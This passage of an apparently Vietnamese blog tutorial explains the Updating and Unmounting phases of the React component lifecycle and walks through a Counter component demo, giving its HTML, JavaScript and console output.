/static/b137a2e4a4296bc48faba768ab399559/28a3f/react-lifecycle-diagram-full.png 1100w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><em>Sơ đồ đầy đủ các phương thức của React Component Lifecycle (sưu tầm)</em></p> <h3 id="các-phương-thức-trong-pha-updating" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-trong-pha-updating" aria-label="các phương thức trong pha updating permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương thức trong pha Updating</h3> <p>Updating là giai đoạn khi React Component cần cập nhật giao diện mỗi khi <strong>props</strong> hoặc <strong>state</strong> của nó thay đổi.</p> <p>Các React lifecycle methods được gọi trong giai đoạn này lần lượt là:</p> <ul> <li>static getDerivedStateFromProps()</li> <li>shouldComponentUpdate()</li> <li>render()</li> <li>getSnapshotBeforeUpdate()</li> <li>componentDidUpdate()</li> </ul> <p>Trong đó, phương thức <em>render()</em> là bắt buộc và đã được trình bày ở phần trước; phương thức <em>getDerivedStateFromProps()</em>, <em>shouldComponentUpdate()</em> và <em>getSnapshotBeforeUpdate()</em> ít khi được sử dụng; phương thức <em>componentDidUpdate()</em> thường xuyên được sử dụng nên mình sẽ trình bày ở phía dưới.</p> <h4 id="phương-thức-render-vả-shouldcomponentupdate" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-render-v%E1%BA%A3-shouldcomponentupdate" aria-label="phương thức render vả shouldcomponentupdate permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức render() vả shouldComponentUpdate()</h4> <p>Như mình đã nói ở trên, phương thức <em>render()</em> trong pha <strong>Updating</strong> có thể được gọi hoặc không, phụ thuộc vào phương thức <em>shouldComponentUpdate()</em>.</p> <p>Mặc định, phương thức <em>shouldComponentUpdate()</em> sẽ trả về <strong>true</strong>. Nghĩa là mỗi khi bạn gọi phương thức <em>this.setState</em> để cập nhật <strong>state</strong> của Component thì <em>render()</em> sẽ được gọi lại để cập nhật giao diện.</p> <p>Tuy nhiên, sẽ có trường hợp dù bạn gọi lại <em>this.setState</em>, nhưng giá trị của <strong>state</strong> vẫn <strong>không thay đổi</strong>. Khi đó, việc gọi lại hàm <em>render()</em> là vô nghĩa.</p> <p>Trong ví dụ phía trên, giả sử bạn chủ động gọi hàm <em>this.setState</em> để cập nhật giá trị của biến <strong>count</strong>, nhưng giá trị mới vẫn là 0 - bằng giá trị ban đầu.</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">count</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Lúc này, phương thức <em>render()</em> mặc định sẽ bị gọi lại, nhưng như vậy chẳng phải là vô nghĩa hay sao?</p> <p>Tuy nhiên, nếu bạn định nghĩa thêm phương thức <em>shouldComponentUpdate()</em> như này:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token function">shouldComponentUpdate</span><span class="token punctuation">(</span><span class="token parameter">nextProps<span class="token punctuation">,</span> nextState</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> nextState<span class="token punctuation">.</span>count <span class="token operator">!==</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>count<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>thì phương thức <em>render()</em> sẽ không bị gọi lại nữa.</p> <p>Bởi vì, <em>nextState.count</em> và <em>this.state.count</em> lúc này đều bằng 0, nên <code>nextState.count !== this.state.count</code> sẽ trả về <strong>false</strong>. Suy ra, hàm <em>render()</em> sẽ không bị gọi lại. Hay nói tổng quát hơn là: phương thức <em>render()</em> chỉ bị gọi lại khi <strong>props</strong> hoặc <strong>state</strong> mới <strong>có giá trị khác</strong> so với hiện tại.</p> <p>Tuy nhiên, nếu không quá quan trọng về <a href="/tag/performance/">hiệu năng</a> thì bạn có thể bỏ qua phương thức <em>shouldComponentUpdate()</em>.</p> <h4 id="phương-thức-componentdidupdate" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-componentdidupdate" aria-label="phương thức componentdidupdate permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức componentDidUpdate()</h4> <p>Phương thức này được gọi sau khi việc update kết thúc - component với những dữ liệu mới đã được cập nhật xong lên giao diện. Trong phương thức này, bạn có thể xử lý việc lấy dữ liệu từ server, ví dụ:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token function">componentDidUpdate</span><span class="token punctuation">(</span><span class="token parameter">prevProps</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>userID <span class="token operator">!==</span> prevProps<span class="token punctuation">.</span>userID<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">fetchData</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>userID<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Tức là nếu giá trị của props <em>userID</em> thay đổi thì bạn sẽ lấy dữ liệu từ server xuống và làm một số thứ sau đó. Ở đây, bạn cần chú ý điều kiện trong <em>if</em>. Nếu không có điều kiện này thì việc <em>this.fetchData</em> từ server xuống vẫn được thực hiện dù cho giá trị <em>userID</em> không thay đổi.</p> <p>Ngoài ra, bạn cũng có thể xử lý DOM node trong phương thức này, ví dụ như: ẩn hiện 1 phần tử, thay đổi width/height của nó để phù hợp với dữ liệu mới,...</p> <p>Hoặc thậm chí bạn cũng có thể thay đổi state của Component tại đây. Nhưng phải cẩn thận với điều này vì: khi bạn gọi <em>this.setState</em> thì <em>componentDidUpdate()</em> lại được gọi. Nếu bạn không xử lý điều kiện <strong>if else</strong> hợp lý thì rất có thể vòng lặp vô hạn sẽ xảy ra.</p> <p>Tóm lại trong pha Updating này có 3 phương thức bạn cần chú ý là:</p> <ul> <li>shouldComponentUpdate()</li> <li>render()</li> <li>componentDidUpdate()</li> </ul> <h3 id="phương-thức-trong-pha-unmouting---componentwillunmount" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-trong-pha-unmouting---componentwillunmount" aria-label="phương thức trong pha unmouting componentwillunmount permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức trong pha Unmouting - componentWillUnmount()</h3> <p>Unmounting là giai đoạn khi React Component bị xoá khỏi DOM tree.</p> <p>Trong giai đoạn này, chỉ có một phương thức được gọi duy nhất là: <em>componentWillUnmount()</em>.</p> <p>Phương thức này tương ứng với phương thức <em>componentDidMount()</em> trong giai đoạn Mounting. Nghĩa là phương thức này cũng chỉ được gọi <strong>1 lần duy nhất</strong>. Và quan trọng là những thứ bạn khởi tạo, đăng ký ở <em>componentDidMount()</em> thì bạn phải xoá, huỷ đăng ký trong phương thức <em>componentWillUnmount()</em>.</p> <p>Giả sử mình khởi tạo Interval và đăng ký sự kiện <strong>resize</strong> bên trong <em>componentDidMount()</em>:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">this</span><span class="token punctuation">.</span>counterInterval <span class="token operator">=</span> <span class="token function">setInterval</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>updateCounter<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Thì sau đó, mình phải xoá interval và huỷ đăng ký sự kiện <em>resize</em> trong <em>componentWillUnmount()</em>:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx">window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">clearInterval</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>counterInterval<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="ví-dụ-minh-hoạ" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-minh-ho%E1%BA%A1" aria-label="ví dụ minh hoạ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ minh hoạ</h2> <a href="https://about.phamvanlam.com/demo/understand-react-component-lifecycle/" class="btn btn-primary margin-bottom"> Xem Demo React Component Lifecycle </a> <p>Giả sử mình xây dựng <strong>Counter Component</strong> như sau.</p> <h3 id="code-demo-về-react-component-lifecycle" style="position:relative;"><a href="#code-demo-v%E1%BB%81-react-component-lifecycle" aria-label="code demo về react component lifecycle permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Code demo về React Component Lifecycle</h3> <div class="gatsby-code-title gatsby-remark-code-title">index.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span> <span class="token attr-name">lang</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>en<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">charset</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>UTF-8<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>viewport<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>width=device-width, initial-scale=1.0<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">http-equiv</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>X-UA-Compatible<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>ie=edge<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">></span></span>Understand React Component Lifecycle<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://unpkg.com/react@16/umd/react.development.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://unpkg.com/react-dom@16/umd/react-dom.development.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://unpkg.com/babel-standalone@6/babel.min.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>../main.css<span class="token punctuation">"</span></span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css"> <span class="token selector">main</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 640px<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token punctuation">}</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>main</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h3</span><span class="token punctuation">></span></span>Understand React Component Lifecycle<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h3</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>main</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>main.js<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>text/babel<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">class</span> <span class="token class-name">Counter</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token comment">/** * Hàm constructor - dùng để khai báo state và bind function */</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">/* * Gọi hàm super(props) để tham chiếu đến hàm khởi tạo của React.Component, * để đảm bảo this.props không bị undefined */</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Khai báo state là count với giá trị ban đầu là 0</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">count</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/* * Bind hàm updateCounter với this, * hàm này được sử dụng trong 1 interval * để tăng biến đếm state - count lên 1 đơn vị sau mỗi 1 giây */</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateCounter <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateCounter</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"constructor"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Phương thức này được gọi sau khi Counter Component được render xong. * Trong đây, mình khởi tạo một interval thông qua phương thức setInterval. * * Vì bên trên, mình đã bind this.updateCounter với this rồi, * nên ở đây mình truyền thẳng. * * Ngược lại, nếu bên trên không bind nó với this thì mình phải sửa lại thành: * * + this.counterInterval = setInterval(this.updateCounter.bind(this), 1000); * + Hoặc: this.counterInterval = setInterval(() => this.updateCounter(), 1000); */</span> <span class="token function">componentDidMount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>counterInterval <span class="token operator">=</span> <span class="token function">setInterval</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>updateCounter<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"componentDidMount"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Trong hàm này mình sẽ sử dụng phương thức this.setState, * để tăng giá trị của this.state.count lên 1 đơn vị. * * Giả sử, bên trên mình không bind updateCounter với this, * cũng không sử dụng arrow function, * thì bên trong hàm này, this sẽ không phải là Counter Component, * tức this.state là undefined => bị sai. */</span> <span class="token function">updateCounter</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">count</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>count <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Phương thức này được gọi mỗi khi hàm this.setState được gọi, * để cập nhật lại giao diện. * * Trong hàm này, mình cũng kiểm tra khi nào giá trị state count = 5 * thì mình sẽ xoá Component này khỏi DOM tree * để test phương thức componentWillUnmount */</span> <span class="token function">componentDidUpdate</span><span class="token punctuation">(</span><span class="token parameter">prevProps<span class="token punctuation">,</span> prevState</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">componentDidUpdate: count from </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>prevState<span class="token punctuation">.</span>count<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> to </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>count<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>count <span class="token operator">===</span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> ReactDOM<span class="token punctuation">.</span><span class="token function">unmountComponentAtNode</span><span class="token punctuation">(</span>document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#container"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">/** * Phương thức này được gọi khi Component bị xoá khỏi DOM tree. * Trong đây, mình sẽ xoá interval đã đăng ký từ componentDidMount, * thông qua phương thức clearInterval. */</span> <span class="token function">componentWillUnmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"componentWillUnmount"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">clearInterval</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>counterInterval<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Phương thức render sử dụng giá trị this.state.count để in lên màn hình. */</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">render: count = </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>count<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">style</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token literal-property property">fontSize</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">2rem</span><span class="token template-punctuation string">`</span></span> <span class="token punctuation">}</span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>count<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// Render Counter Component lên DOM tree</span> ReactDOM<span class="token punctuation">.</span><span class="token function">render</span><span class="token punctuation">(</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Counter</span></span> <span class="token punctuation">/></span></span><span class="token punctuation">,</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#container"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="kết-quả" style="position:relative;"><a href="#k%E1%BA%BFt-qu%E1%BA%A3" aria-label="kết quả permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết quả</h3> <p>Nếu bạn chạy ví dụ Demo và mở <strong>console</strong> trên <strong>DevTool</strong> lên (sử dụng phím tắt <strong>Ctrl + Shift + I</strong> hoặc <strong>F12</strong>), thì sẽ thấy kết quả hiển thị như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">main.js:19 constructor main.js:56 render: count = 0 main.js:40 componentDidMount main.js:56 render: count = 1 main.js:44 componentDidUpdate: count from 0 to 1 main.js:56 render: count = 2 main.js:44 componentDidUpdate: count from 1 to 2 main.js:56 render: count = 3 main.js:44 componentDidUpdate: count from 2 to 3 main.js:56 render: count = 4 main.js:44 componentDidUpdate: count from 3 to 4 main.js:56 render: count = 5 main.js:44 componentDidUpdate: count from 4 to 5 main.js:51 componentWillUnmount</code></pre></div> <p>Trong đó, pha Mounting ứng với 3 dòng đầu tiên. Suy ra, thứ tự các React lifecycle methods là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">main.js:19 constructor # constructor() main.js:56 render: count = 0 # render() main.js:40 componentDidMount # componentDidMount();</code></pre></div> <p>Tiếp theo, pha Updating:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">main.js:56 render: count = 1 # render() main.js:44 componentDidUpdate: count from 0 to 1 # componentDidUpdate() main.js:56 render: count = 2 # render() main.js:44 componentDidUpdate: count from 1 to 2 # componentDidUpdate() main.js:56 render: count = 3 # render() main.js:44 